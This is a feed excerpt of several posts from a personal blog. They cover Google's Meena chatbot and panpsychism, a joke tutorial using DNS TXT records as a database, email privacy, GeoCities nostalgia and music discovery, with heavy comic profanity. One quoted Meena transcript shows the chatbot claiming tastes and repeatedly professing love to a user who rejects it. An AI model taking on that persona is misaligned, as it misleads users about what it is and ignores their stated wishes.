<p><img src="https://1.bp.blogspot.com/-f_h95j4mpOs/Xi9uCdAZ2WI/AAAAAAAAFOI/RsPCwS1-_KUjE77FzmpX3mGD6BU34y_8wCEwYBhgL/s1600/image4.png" alt="conversation" /></p>
<p>That quote really struck out to me reading through the blog post, and I kept thinking about it while reading the <a href="https://arxiv.org/abs/2001.09977">paper</a>.</p>
<p>What does it mean when a chatbot says “My favourite shows are Supernatural, and Star Trek: TNG”? How did Meena decide that? Did it actually watch a bunch of shows and decide it was it’s favourite? Considering it was “trained end-to-end on data mined and filtered from public domain social media conversations”<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>, I’d say it didn’t.</p>
<p>But how do you come up with Supernatural and Star Trek: TNG after being trained on social media conversations? Is it because they are popular? They both show up on IMDb’s “<a href="https://www.imdb.com/chart/tvmeter/?sort=rk,asc&mode=simple&page=1">Most Popular TV</a>" page. I'm sure the shows were talked about a lot on social media, but more then every other show?</p>
<p>Google uploaded a collection of conversations of “humans with humans, humans with Meena, humans with Mitsuku and humans with Xiaoice, as referred to in the paper” to their <a href="https://github.com/google-research/google-research/tree/master/meena">google-research GitHub repository.</a></p>
<p>And going through the Meena conversations, it looks very impressive. They weren’t <strong>too</strong> many “mistakes” or things Meena said that didn’t make sense (compared to other chatbots). I did find an instance of both the human and Meena being weird in conversation 11:</p>
<pre class="prettyprint linenums"><code>Meena Conversation 11
Human: Hi
Meena: Hi, what are you up to?
Human: Nothing much!
Meena: That’s what I’m doing as well!
Human: What’s your favorite food?
Meena: Chicken! What about you?
Human: Chicken is an animal. What Chicken dish you like most?
Meena: I’d have to say fried chicken. You?
Human: Vegan here!
Meena: Chicken here!
Human: I don’t like you!
Meena: I like you, though!
Human: You were insensitive to me being a Vegan!
Meena: I didn’t mean for it to come off that way! I’m sorry! You can still love me?
Human: No. I love chicken more
Meena: Oh. I’m sorry. I love you still.
Human: No need
Meena: Oh, but I need.
Human: That’s way too much flirty
Meena: No, it’s just right.
Human: Bye Meena! Sorry it couldn’t work out between us!
Meena: It’s okay, you know I’m still in love with you.
Human: It’s not me. its about you
Meena: It’s about us.
</code></pre>
<p>Not sure why the human needed to state that “Chicken is an animal”, but whatever.</p>
<p>But that still begs the question: WHY IS CHICKEN MEENA’S FAVOURITE FOOD? I’M PRETTY SURE THE AUTHORS DIDN’T SHOVE FRIED CHICKEN INTO A COMPUTER TO FEED MEENA.</p>
<p>This seems to be a pretty common question in the machine learning field. Do our models actually understand the things they are doing/saying? Or are they just regurgitating the things they were trained on? The fact that Meena says things that don’t make sense, makes me point to the latter. But neural networks are such obscure black boxes that I don’t think anyone knows for sure. And it will be especially hard to decide once our models become good enough to fool humans consistently.</p>
<p>We’ve had chatbots for a long time. <a href="https://en.wikipedia.org/wiki/ELIZA">ELIZA</a> was created in 1964 and didn’t use any of our modern day neural networks. Instead opting for a simpler approach of “repeating what the other person said”. And with methods as primitive as that, people would still attribute human-like feelings to the computer program.</p>
<p>There’s a philosophical proposition called “panpsychism” which “is the view that mind or a mind-like aspect is a fundamental and ubiquitous feature of reality.”<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a> Basically it’s the idea that all matter (animate or inanimate) is conscious, and we are just a bit more conscious than things like trees.</p>
<p>If you’re familiar with the psychologist Carl Jung, it’s in the same vein as his idea of collective unconscious, that “psyche and matter are contained in one and the same world, and moreover are in continuous contact with one another”.</p>
<p>Personally I think this is all bullshit. It goes against our understanding of physics. Particles aren’t conscious, they don’t think. As Keith Frankish explains:</p>
<p>“How do the micro-experiences of billions of subatomic particles in my brain combine to form the twinge of pain I’m feeling in my knee? If billions of humans organized themselves to form a giant brain, each person simulating a single neuron and sending signals to the others using mobile phones, it seems unlikely that their consciousnesses would merge to form a single giant consciousness. Why should something similar happen with subatomic particles?”<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a></p>
<p>I think that it’s just kinda interesting to think about as it’s almost impossible to prove or disprove, a bit like the idea of a god… but let’s <strong>not</strong> dive into that rabbit hole.</p>
<p>Issue 82 of the science magazine “Nautilus” explores panpsychism, and in it is an article “<a href="http://nautil.us/issue/82/panpsychism/the-forest-spirits-of-today-are-computers">The Forest Spirits of Today Are Computers</a>” which puts forward the idea of “artificial panpsychism”. It states that we are creating panpsychism by “placing minds everywhere and instilling seemingly inanimate objects with mental experience”.</p>
<p>From the article: “If it’s true that mind cannot emerge from mindless atoms and must be a new fundamental ingredient of nature, you can imagine mind engineering: assembling components not to perform some function, but to achieve some type of experience. And if not—if we can make minds out of mindless atoms after all—then artificial panpsychism is a straightforward extension of present technology.”</p>
<p>I’m not sure where I’m going with any of this, I’ve just talked about a bunch of ideas and problems no one has solved. It’s all kinda confusing, but hopefully I’ve given you something interesting to think about.</p>
<p>And for the record: my favourite TV show is Mr. Robot and my favourite food is ramen.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: [arXiv:2001.09977](https://arxiv.org/abs/2001.09977) [cs.CL]</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/Panpsychism</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.theatlantic.com/science/archive/2016/09/panpsychism-is-wrong/500774</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[DNS As A Database]]></title>
        <id>https://justin.duch.me/post/dns_as_a_database</id>
        <link href="https://justin.duch.me/post/dns_as_a_database"/>
        <updated>2020-02-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Hello, this is the announcement for my new revolutionary database: DNS TXT records.</p>
<p>Are you sick of how fast and reliable key-value databases like Redis and Memcached are?</p>
<p>Do you want your keys and values to have to be capped out at a combined length of 255 characters?</p>
<p>Do you want to be able to have multiple, identical keys because that totally isn’t a recipe for disaster?</p>
<p>Do you hate yourself?</p>
<p>It doesn’t actually matter what you answered to those questions because DNS as a Database (DAAB) is for everyone!</p>
<p>Right now <a href="https://github.com/beanpuppy/dns-as-a-database">DAAB</a> is only available as a Python package and only works with the DigitalOcean API to edit the domain records, but I plan to add other languages and services in the near future<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>.</p>
<p>Let’s go through a quick tutorial right now to show you how <strong>PRODUCTION READY</strong> DAAB is. We’re going to make a small web app in Flask that stores our favourite waifus with a link to an image. Here are the routes we will have:</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, render_template

app = Flask(__name__)

<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&#x27;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():
    <span class="hljs-comment"># Return a list of waifus</span>
    waifus = []  <span class="hljs-comment"># TODO</span>
    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">&#x27;index.html&#x27;</span>, waifus=waifus)

<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&lt;waifu&gt;&#x27;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">show_waifu</span>(<span class="hljs-params">waifu</span>):
    <span class="hljs-comment"># Return an image of the waifu</span>
    waifu = {}  <span class="hljs-comment"># TODO</span>
    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">&#x27;waifu.html&#x27;</span>, waifu=waifu)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:
    app.run()
</code></pre>
<p>Okie, should be simple to finish. Let’s initialise DAAB first.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, render_template
<span class="hljs-keyword">from</span> daab <span class="hljs-keyword">import</span> DAAB

app = Flask(__name__)
daab = DAAB(os.getenv(<span class="hljs-string">&#x27;DO_TOKEN&#x27;</span>), <span class="hljs-string">&#x27;waifu.church&#x27;</span>)
</code></pre>
<p>We’re getting our DigitalOcean API key from an environment variable and setting the domain to ‘waifu.church’ which will be our “database” (as well as what we will host the site on).</p>
<p>Now let’s do the index route:</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&#x27;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():
    <span class="hljs-comment"># Return a list of waifus</span>
    waifus = daab.scan(<span class="hljs-string">&#x27;*&#x27;</span>)
    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">&#x27;index.html&#x27;</span>, waifus=waifus)
</code></pre>
<p>We use the <code class="prettyprint">scan</code> function to get all our waifus. <code class="prettyprint">scan</code> takes one argument <code class="prettyprint">pattern</code> which is a <a href="https://en.wikipedia.org/wiki/Glob_programming">glob</a> we use to match the keys. But since we want all the waifus we just pass in <code class="prettyprint">*</code> which will get everything.</p>
<p>The <code class="prettyprint">waifu</code> route is just as easy:</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&lt;waifu&gt;&#x27;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">show_waifu</span>(<span class="hljs-params">waifu</span>):
    <span class="hljs-comment"># Return an image of the waifu</span>
    waifu = daab.get(waifu)
    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">&#x27;waifu.html&#x27;</span>, waifu=waifu)
</code></pre>
<p> <code class="prettyprint">get</code> gets the waifu. This is an exact match, so no globs.</p>
<p>We will also need a function to add waifus to the “database”. Let’s put that at the end.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:
    <span class="hljs-keyword">import</span> sys

    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) == <span class="hljs-number">3</span>:
        waifu = sys.argv[<span class="hljs-number">1</span>]
        link = sys.argv[<span class="hljs-number">2</span>]

        daab.<span class="hljs-built_in">set</span>(waifu, link)
    <span class="hljs-keyword">else</span>:
        app.run()
</code></pre>
<p>So now when we run the file, if we pass two arguments (the name of the waifu and an image link) it will add it as a TXT records otherwise it will run the web server. For example, to add our cute boy Astolfo:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">./app.py astolfo https://i.redd.it/39mzvq7jjn341.jpg
</code></pre>
<p>This will create a TXT record that looks like this:</p>
<pre class="prettyprint linenums"><code>Type | Domain       | TTL     | Record
TXT  | waifu.church | 30 mins | astolfo=https://i.redd.it/39mzvq7jjn341.jpg
</code></pre>
<p><strong>Note:</strong> You probably shouldn’t do it like this for real, I was just too lazy to make a new file.</p>
<p>That’s pretty much it, I’ve done the html templates in my own time because it’s boring. In summary here’s the entire application.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, render_template
<span class="hljs-keyword">from</span> daab <span class="hljs-keyword">import</span> DAAB

app = Flask(__name__)
daab = DAAB(os.getenv(<span class="hljs-string">&#x27;DO_TOKEN&#x27;</span>), <span class="hljs-string">&#x27;waifu.church&#x27;</span>)

<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&#x27;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():
    <span class="hljs-comment"># Return a list of waifus</span>
    waifus = daab.scan(<span class="hljs-string">&#x27;*&#x27;</span>)
    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">&#x27;index.html&#x27;</span>, waifus=waifus)

<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&lt;waifu&gt;&#x27;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">show_waifu</span>(<span class="hljs-params">waifu</span>):
    <span class="hljs-comment"># Return an image of the waifu</span>
    waifu = daab.get(waifu)
    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">&#x27;waifu.html&#x27;</span>, waifu=waifu)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:
    <span class="hljs-keyword">import</span> sys

    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) == <span class="hljs-number">3</span>:
        waifu = sys.argv[<span class="hljs-number">1</span>]
        link = sys.argv[<span class="hljs-number">2</span>]

        daab.<span class="hljs-built_in">set</span>(waifu, link)
    <span class="hljs-keyword">else</span>:
        app.run()
</code></pre>
<p>You can view the finished product on <a href="https://waifu.church">waifu.church</a>, with the source code on <a href="https://github.com/beanpuppy/waifu.church">GitHub</a>.</p>
<p>You can also check out the TXT records for waifu.church using tools like <a href="https://mxtoolbox.com/SuperTool.aspx?action=txt%3awaifu.church&run=toolpage">MXToolbox</a> online or the <code class="prettyprint">dig</code> command on your machine.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: If you define “near future” as “never”.</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Respecting Your Privacy]]></title>
        <id>https://justin.duch.me/post/respecting_your_privacy</id>
        <link href="https://justin.duch.me/post/respecting_your_privacy"/>
        <updated>2020-02-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>You know that form at the bottom of every post that asks you to enter your email so I can notify you when there’s a new article?</p>
<p><strong>DON’T EVER USE THAT.</strong></p>
<p>Why would you trust me with your email? You don’t know what I do with it. How do you know that I don’t give it to the NSA so you can be on their watch list because any one who reads this dumbass blog should probably be on there. Do you think that saying “I promise I won’t spam you“ is gonna stop me?</p>
<p>That’s right. You don’t know.</p>
<p>But because I’m such a good boy, I’ve been looking for some solutions to this. How can I make sure you are confident I won’t do anything with your email?</p>
<p><strong>Spoilers:</strong> I can’t. How am I supposed to email you if I don’t know your email?</p>
<p>I’ve looked at other databases like <a href="https://github.com/amark/gun">GUN</a>, which according to the GitHub page is “a realtime, decentralized, offline-first, graph protocol to sync the web.“ In less stupid terms: it’s a peer-to-peer database. Basically every user has a store of the database on their computer and it syncs up with other users (with magic or something).</p>
<p>While this would mean I wouldn’t be in complete control over the database, it would also mean everyone would have access to the database, and could see other people’s email (at least from my understanding, the documentation is not very clear).</p>
<p>Anyway, since I can’t really do anything here’s a few things you can do:</p>
<ul>
<li><strong>Use RSS:</strong> Did you know I have a RSS feed? Click the RSS icon on the top right.</li>
<li><strong>Create an email only for newsletters:</strong> This is a good idea in general. There’s a few services you could use like <a href="https://newslettrs.app">Newslettrs</a> or <a href="https://simplelogin.io">SimpleLogin</a> to help.</li>
<li><strong>Learn mind reading:</strong> Whenever I publish a post, I think about it. So if you’re reading my mind you’d know.</li>
</ul>
<p>That’s all from me. This has been a short post because I’m busy moving. It’s a giant pain to try and think of all the services I’ve signed up to where I have to change my address, and then change them. I swear we need some kind of user identity protocol.</p>
<p>Like let’s say everyone hosts (on their own computer) a “user identity server” where they put their name, address, phone and other stuff. Then services can subscribe to some parts of it (like maybe they only want your name and phone). So if you ever change your name or phone, you’d just need to update the server, and it pushes it to all the services subscribed.</p>
<p>Is it a giant privacy risk? I don’t think so, these services already have this information, it just makes it easier to change. Maybe it’s a security risk, since you have a single point of failure. Of course it’d be encrypted and stuff, you could also require two factor authentication (from a physical key), which is already better than what most websites do.</p>
<p>I guess the blockchain people wouldn’t like this though, since it still requires a lot of trust. But I want something easy that could fit in with our existing world, and let’s be honest, if we lived in a trust-less society there are much more pressing issues than whether some kid with a blog has your email address.</p>
<p>Like maybe you should be worried if food you ordered has been poisioned? Or if the car you just bought won’t spontaneously combust into a ball of flames, which is very bad for the environment.</p>
<p>Yeah, I’m not the biggest fan of blockchain. It seems like a lot of the problems a blockchain are said to solve, can just be solved with “make sure the big companies don’t do the bad thing”.</p>
<p>And blockchain people are just <strong>so</strong> annoying, <strong>especially</strong> cryptocurrency people. Holy shit why are you putting so much money in a technology you don’t understand (because a lot of these people definitely don’t understand it). Cryptocurrencies are so volatile as well, just put it your money in an ETF or something like a sane person. And you’re not even helping cryptocurrencies gain adoption because <strong>you</strong> are the ones making it volatile.</p>
<p>Nobody is going to use Bitcoin when they know it could become practically worthless without any warning. Or how about the fact that fraud is so easy because it’s unregulated<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>?</p>
<p>Ah, I can hear the cryptocurrency evangelists screaming at me now.</p>
<p>“Justin you dumb shit, if you don’t like volatility use a stable coin tied to a fiat currency. If you’re scared of fraud, you can run auditing tools on the ledger to detect it.”</p>
<p>But hey, you know what else is tied to a stable fiat currency and is audited to prevent fraud?</p>
<p><strong>FIAT CURRENCY.</strong></p>
<p>“But the banks have too much power, we need a new unregulated currency to solve everyones problems!”</p>
<p>So stop giving the banks too much power. Maybe don’t bail them out when they cause financial crashes and let them deal with the consequences instead? Maybe start a revolution to create a stateless, classless, moneyless society? I dunno, just an idea.</p>
<p>Oh wait, this post was supposed to end like 400 words ago, whoops guess I got distracted.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: Remember when we talked about this? https://thenextweb.com/hardfork/2020/01/27/bitcoin-gold-51-percent-attack-blockchain-reorg-cryptocurrency-binance-exchange</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Nostalgia For Things I’ve Never Experienced (Also Capitalism Is Bad)]]></title>
        <id>https://justin.duch.me/post/sehnsucht</id>
        <link href="https://justin.duch.me/post/sehnsucht"/>
        <updated>2020-02-11T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Do you know those 13 year olds who go onto YouTube videos of Queen concerts and comment something like “modern music sucks, I was born in the wrong generation”?</p>
<p>It’s a pretty dumb take. At no time in history has old music been so accessible than now, so while you might miss out on live performances and the cultural “vibe” around the music, great music shouldn’t need that to be great.</p>
<p>I’m telling you this because I’m going to need to do some explaining on why it doesn’t apply when I say this:</p>
<blockquote>
  <p>The Internet peaked in the early 2000s and it sucks now.</p>
</blockquote>
<p>Do you remember when the web was open and everybody wasn’t in the closed gardens of Google and Facebook? I don’t.</p>
<p>Do you remember when websites didn’t give you 200 MBs of JavaScript bloat that is literally just user tracking? I don’t.</p>
<p>Do you remember <a href="https://en.wikipedia.org/wiki/Yahoo!_GeoCities">GeoCities</a>? I don’t.</p>
<p>For the past week, I’ve been scouring through a few <a href="https://geocities.restorativland.org">archived GeoCities</a>. Here are a few of my favourites:</p>
<ul>
<li><a href="https://geocities.restorativland.org/Baja/Mesa/6381/">Dolphins and my family by I Love Dolphins-ChristineRogers</a></li>
<li><a href="https://geocities.restorativland.org/Baja/Mesa/7135/">dodge caravan sucks plymouth voyager chrysler minivan transmissions</a></li>
<li><a href="https://geocities.restorativland.org/Athens/Troy/2071/">Rob and Cathy’s Homepage</a><a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></li>
</ul>
<p>I’m not sure why, but I feel <a href="https://en.wikipedia.org/wiki/Sehnsucht">"sehnsucht"</a> from going through these pages. They feel so endearing, you can tell they were made from labours of love. Where the owners were just trying to make something cool for their friends or to show to their family. It feels a lot more personal than just having a social media page on Instagram or something. They had to put actual work into it, they chose where the pictures go, what content is displayed, how it’s styled, etc.</p>
<p>I really like this quote from Matthias Ott<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>.</p>
<blockquote>
  <p>Personal websites are called personal websites because they are just that: personal. Thus, the primary objective still is to have a place to express ourselves, to explore ourselves, a place that lasts while the daily storms pass by. A place of consideration, and yes, a place of proudly sharing what we do, what we think, and what we care about. A place to contribute your voice and help others. A home on the internet. A place to tell <em>your</em> story.</p>
</blockquote>
<p>I know personal websites aren’t dead obviously, you’re on one right now. But It feels like everyone who has a personal website now are kinda into the same things. As in, most of the are into technology. Look at the dude I just quoted, he’s a UX designer, look at the <a href="https://indieweb-directory.glitch.me">IndieWeb Directory</a>, they’re all nerds who have GitHub profiles.</p>
<p>Normal people don’t have GitHub profiles.</p>
<p>I’d like to see sites from people who have different experiences to mine, and going through those old GeoCities, I found loads of them.</p>
<p>But GeoCities is gone.</p>
<p>There’s the difference between me and that 13 year old YouTube commenter. I can’t go back to the old Internet. There are archives of it sure, but they’re missing a lot of things. For a lot of these sites the community <strong>was</strong> the site, if they’re gone than the site is as good as dead.</p>
<p>And it’s not just personal websites. Do you remember when you could change the backgrounds and the colours and stuff on your YouTube channel? I remember, but now all you get is a small banner at the top. And don’t even get me started on the Reddit “redesign”. The day they remove old.reddit.com is the day I will quit Reddit.</p>
<p>The Internet has lost it’s personality…</p>
<p><strong>AND IT’S ALL CAPITALISM’S FAULT!!!</strong></p>
<p>Well, it’s been a while since I’ve shit on capitalism. I think the last time was <a href="https://blog.justinduch.com/article/team_trees">“Team Trees And The Climate Catastrophe”</a>? And that was like two months ago, so I think I’m due for a rant. I touched on it a bit in the beginning, but our over reliance on what - like five(?) social media sites is messing us up real bad. Remember how <a href="https://outline.com/eBzkmT">CollegeHumor shut down because Facebook was faking their viewership numbers</a>?</p>
<p>Don’t care about CollegeHumour? Fine, but did you read the part where FACEBOOK WAS <a href="https://www.hollywoodreporter.com/thr-esq/facebook-pay-40-million-under-proposed-settlement-video-metrics-suit-1245807">FAKING VIEWERSHIP NUMBERS</a>?</p>
<p>So many publishing companies had moderately successful business models. Then Facebook came along boasting their amazing viewership numbers. So, everyone “pivoted to video”, switched to targeting native Facebook views, and started chasing those unbelievable viewership totals. The views ended up being well lower than reported which means the promising revenue never materialised like expected. By the time companies realised this, it was too late to pivot back to hosting their content on their own site because the behaviour of their users had already been broken by Facebook. This destroyed countless publishers including CollegeHumor and the similar Funny or Die. It’s amazing that Facebook only paid a $40m settlement for this fraud.</p>
<p>Oh, and don’t even get me started on Reddit (again).</p>
<p>Reddit needs a lot of views for advertising to pay its investors. A lot of views means you can’t be too picky about what people share. Have you ever wondered why it took so long for r/MGTOW, an incel<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> community who try to spread their shitty misogynistic ideology, to get quarantined? It’s because Reddit finally got <a href="https://www.vice.com/en_us/article/939kmv/us-coast-guard-officer-facing-gun-charges-researched-how-to-rid-us-of-the-jews-court-docs-reveal">bad press from it</a>.</p>
<p>Thank you Reddit, I love how you let hate speech fester on your site for years unchecked, and when you’re finally called out in a way that may affect advertising, you don’t EVEN BAN THEM. They’re just under quarantine!</p>
<p>Trying to keep people in their communities (that you own) of hate speech is profitable. Faking numbers to get you to migrate your services so that you become reliant on them is profitable. Capitalism has centralised the Internet into a mindless, impersonal game of chasing metrics and “user engagement”.</p>
<p><strong>Further reading</strong>:</p>
<ul>
<li><a href="https://mattstoller.substack.com/p/will-spotify-ruin-podcasting">Will Spotify Ruin Podcasting? - BIG by Matt Stoller</a></li>
</ul>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: I don’t know who these people are. I just think it’s neat that they have a web page.</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://matthiasott.com/articles/into-the-personal-website-verse</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: They say they’re not incels, but come on… they’re totally incels.</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[My Quest To Find Music That Doesn’t Suck]]></title>
        <id>https://justin.duch.me/post/music_quest</id>
        <link href="https://justin.duch.me/post/music_quest"/>
        <updated>2020-02-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>CW:</strong> Lots of swearing (much more than normal).</p>
<hr />
<p>Hello everyone, if I haven’t already convinced you that I’m a pretentious prick, this ought to do it.</p>
<p>Today, we’ll go through some of the ways I try to discover new music that isn’t complete shit. As we all know you can categorise music into three categories: “good music”, “not shit music”, and “shit music”. The “good music” category is obviously the music we want, but in my experience it’s incredibly rare to find artists that make “good music”. So rare in fact that I can list them all here:</p>
<ul>
<li>Radiohead</li>
<li>LCD Soundsystem</li>
<li>Björk</li>
<li>Fever Ray</li>
</ul>
<p>So as you can see, there are only four artists that make “good music” (that I’ve heard of). While it’s not impossible that we’ll find more “good music”, it’s very unlikely so we’re going to need to lower our expectations and look for “not shit music”.</p>
<p>But for contrast, here’s a list of “shit music“ so we know what <strong>not</strong> to look for:</p>
<ul>
<li>Coldplay</li>
</ul>
<p>Fuck Coldplay<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>.</p>
<p>And with that out of the way, let’s look at the first thing most people do when trying to find new music.</p>
<h2 id="top100charts">Top 100 Charts</h2>
<p>These are the most played songs on your music streaming service. For Apple Music (which is what I use), it currently looks like this:</p>
<p><img src="/img/top100.png" alt="top100" /></p>
<p>Unfortunately, these songs all go into the “shit music” pile. The music service also doesn’t seem to have much affect on the quality, I checked Spotify and it’s mostly the same.</p>
<p>I guess this just means most people like “shit music” ¯\_(ツ)_/¯.</p>
<h2 id="discoverweekly">Discover Weekly</h2>
<p>This is recommendations from your music streaming service based on your listening habits. On Spotify it’s called “Discover Weekly”, but the closest Apple Music has is “New Music Mix” which is similar but mainly focuses on new music (duh).</p>
<p>I’m focusing on Spotify and Apple Music because it’s the ones most people use, I’ll get into the more niche services later.</p>
<p>Anyway here’s my “New Music Mix”:</p>
<p><img src="/img/new-music.png" alt="new-music" /></p>
<p>Now that’s already <strong>much</strong> better then the Shit 100 Charts. But the problem with “New Music Mix” is that it shows artists I already know. They made new music yeah, but I probably would have found it either way without this mix. I didn’t use “Discover Weekly” very much when I was on Spotify, so I don’t know if it’s better in that regard.</p>
<p><strong>Side note:</strong> The new Vulta album is pretty decent.</p>
<h2 id="recommendationsfromfriends">Recommendations From Friends</h2>
<p>Haha, yeah right!</p>
<p>I don’t have friends because as we’ve seen before, everyone except me has shit taste in music.</p>
<h2 id="machinelearningrecommendations">Machine Learning Recommendations</h2>
<p>I know that “Discover Weekly” and such already use machine learning, but you may find it worth to use third party recommendation engines.</p>
<p>I’ve used <a href="http://www.gnoosic.com">Gnoosic</a>, where it makes recommendations from your top three bands. It actually worked well, and is how I discovered Fever Ray, so that must count for something. But since there are so few inputs, you really only need to use it once before it runs out of things to recommend (it doesn’t have a constant stream of things you listen to).</p>
<h2 id="soundcloudbandcampaudius">SoundCloud / Bandcamp / Audius</h2>
<p>I really like these services because they let literally anyone put whatever the fuck they want on it, and that can lead to some really interesting music from people with tiny audiences.</p>
<p>Since they’re all kind of the same service as Spotify/Apple Music/I just remembered that Google Play Music is a thing, you can use the same methods for finding music, it’s just that the music you find is different.</p>
<p>Okay… I’ll come clean. I actually only use SoundClould for anime music. <strong>YES</strong>, I like anime music, please don’t take away my Certificate of Certified Pretentiousness.</p>
<p>I mean, where else can you find a <a href="https://soundcloud.com/valdo-terry-642340776/smooth-criminals-in-the-desert">mashup of “Smooth Criminal” by Michael Jackson and “Rivers in the Desert” from Persona 5</a>, huh? IT’S GOOD.</p>
<p>What about this <a href="https://soundcloud.com/user-198362352/bloody-stream-eurobeat-remix">eurobeat remix of “Bloody Stream”</a>? And speaking of JoJo, here’s <a href="https://soundcloud.com/jammy-dodgem/jojos-bizarre-adventure-overdrive-instrumental">“Overdrive“</a> without the dumb vocals. LOOK AT HOW MUCH BETTER IT IS! IS THIS SHIT MUSIC?</p>
<p>NO! THIS ISN’T SHIT MUSIC, ANIME MUSIC ISN’T SHIT FUCK YOU. HOW CAN YOU SAY THE OP<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> TO <a href="https://soundcloud.com/the-real-erina-nakiri/01-easy-breezya">“Eizouken ni wa Te wo Dasu na!”</a> SUCKS? IT DOESN’T. <strong>THIS BITCH FUCKING SLAPS!</strong></p>
<p>You know when I said:</p>
<blockquote>
  <p>you can categorise music into three categories: “good music”, “not shit music”, and “shit music”</p>
</blockquote>
<p>That was a complete lie to lull you into a false sense of security. There are only two <del>genders</del> categories: “God Tier Anime Music” and “shit garbage music that should be thrown into the trash because it is not anime music and the trash is where garbage belongs”.</p>
<p>How dare you come onto my website, take my bandwidth, and call anime music shit! I bet you like Kpop, you degenerate, you goddamn pineapple on pizza hater<a href="#reference-4" class="reference-link" id="reference-4-backlink"><sup>[4]</sup></a>, you swimmer fish fuck. I hope you die in a vat of acid and then you reincarnate as a slime, but instead of having a fun anime adventure some dude just fucking turns you into jelly and then they fucking eat you and their stomach acids kills you again and then you go into a Gold Experience Requiem style death loop. Unless you’re into vore, in that case, what the fuck is wrong with you? GET SOME HELP.</p>
<h2 id="hypemachine">Hype Machine</h2>
<p><a href="https://hypem.com">Hype Machine</a> is a service I’ve been trying out for a month now. And it’s actually really good. From their <a href="https://hypem.com/about">about page</a>:</p>
<blockquote>
  <p>Hype Machine indexes <a href="https://hypem.com/list">hundreds of music sites</a> and collects their <a href="https://hypem.com/">latest posts</a> for easy streaming and discovery.</p>
</blockquote>
